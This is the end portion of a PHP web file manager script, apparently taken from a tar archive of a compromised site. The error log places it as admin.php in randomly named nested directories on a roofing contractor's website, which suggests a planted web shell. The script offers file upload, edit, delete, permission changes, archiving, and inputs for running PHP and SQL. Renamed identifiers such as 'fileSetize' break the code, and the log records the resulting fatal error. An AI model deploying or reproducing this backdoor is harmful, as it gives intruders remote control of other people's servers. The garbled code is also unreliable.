<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth_local['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in fileSet').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fms_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fms_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fms_config['upload_myfile'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth_local['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth_local['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $fileSet = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $fileSet[] = $file; } } natsort($dirs); natsort($fileSet); $elements = array_merge($dirs, $fileSet); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fms_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime_share = explode(' ', microtime()); $totaltime = $mtime_share[0] + $mtime_share[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php // Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus class archiveTar { var $archiveTitle = ''; var $temporaryFile = 0; var $filePointer = 0; var $isCompressedFile = true; var $errorList = array(); var $fileSet = array(); function __construct(){ if (!isset($this->errorList)) $this->errorList = array(); } function buildArchivePackage($file_list){ $result = false; if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->initiateFileWrite()) return false; } else { if (fileSetize($this->archiveTitle) == 0) return $this->initiateFileWrite(); if ($this->isCompressedFile) { $this->finalizeTempFile(); if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){ $this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp'; return false; } $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb'); if (!$tmpArchive){ $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable'); rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } if (!$this->initiateFileWrite()){ rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archiveTitle.'.tmp'); } else { $this->temporaryFile = fopen($this->archiveTitle, 'r+b'); if (!$this->temporaryFile) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->bundleFilesIntoArchive($file_list); } else $this->errorList[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->temporaryFile))){ $binaryData = pack('a512', ''); $this->saveDataBlock($binaryData); } $this->finalizeTempFile(); if ($newArchive && !$result){ $this->finalizeTempFile(); unlink($this->archiveTitle); } return $result; } function recoverArchive($path){ $fileName = $this->archiveTitle; if (!$this->isCompressedFile){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isCompressedFile = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true; } $result = true; if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb'); else $this->temporaryFile = fopen($fileName, 'rb'); if (!$this->temporaryFile){ $this->errorList[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unbundleFilesIntoArchive($path); $this->finalizeTempFile(); return $result; } function displayErrorLogs ($message = '') { $Errors = $this->errorList; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function bundleFilesIntoArchive($file_array){ $result = true; if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archiveTitle) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errorList[] = __('No file').' '.$filename; continue; } if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errorList[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->generateValidPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errorList[] = __('Mode ').__('is incorrect'); } if(($this->filePointer == 0)){ if(!$this->insertHeaderInfo($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } fclose($file); } else $this->insertHeaderInfo($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->bundleFilesIntoArchive($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unbundleFilesIntoArchive($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->retrieveDataBlock()) != 0){ if (!$this->fetchHeaderInfo($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->retrieveDataBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->retrieveDataBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->retrieveDataBlock(); if (!$this->fetchHeaderInfo($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errorList[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errorList[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (fileSetize($header['filename']) != $header['size']) { $this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->fileSet[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errorList[] = __('Cannot create directory').' '.$dir; return false; } return true; } function fetchHeaderInfo($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['fileHash'] = OctDec(trim($unpack_data['fileHash'])); if ($header['fileHash'] != $fileHash){ $header['filename'] = ''; if (($fileHash == 256) && ($header['fileHash'] == 0)) return true; $this->errorList[] = __('Error fileHash for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function insertHeaderInfo($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->generateValidPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the fileHash $fileHash = 0; // First part of the header for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); // Ignore the fileHash value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->saveDataBlock($dataFirst, 148); // Write the calculated fileHash $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->saveDataBlock($dataLast, 356); $temporaryFilename = $this->generateValidPath($filename_ready); $i = 0; while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(fileSetize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); $this->saveDataBlock($dataFirst, 148); $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); $this->saveDataBlock($dataLast, 356); return true; } function initiateFileWrite(){ if ($this->isCompressedFile) $this->temporaryFile = gzopen($this->archiveTitle, 'wb9f'); else $this->temporaryFile = fopen($this->archiveTitle, 'wb'); if (!($this->temporaryFile)){ $this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle; return false; } return true; } function retrieveDataBlock(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) $block = gzread($this->temporaryFile, 512); else $block = fread($this->temporaryFile, 512); } else $block = ''; return $block; } function saveDataBlock($data, $length = 0){ if (is_resource($this->temporaryFile)){ if ($length === 0){ if ($this->isCompressedFile) gzputs($this->temporaryFile, $data); else fputs($this->temporaryFile, $data); } else { if ($this->isCompressedFile) gzputs($this->temporaryFile, $data, $length); else fputs($this->temporaryFile, $data, $length); } } } function finalizeTempFile(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) gzclose($this->temporaryFile); else fclose($this->temporaryFile); $this->temporaryFile = 0; } } function generateValidPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> error_log 0000644 00000003613 15032624205 0006463 0 ustar 00 [21-Jun-2025 09:46:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 195 [23-Jun-2025 01:35:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 195 [05-Jul-2025 18:51:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/de.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 195 [06-Jul-2025 08:19:10 UTC] PHP Fatal error: Uncaught Error: Call to undefined function fileSetize() in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php:445 Stack trace: #0 /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php(1241): fm_download() #1 {main} thrown in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 445 [06-Jul-2025 08:19:12 UTC] PHP 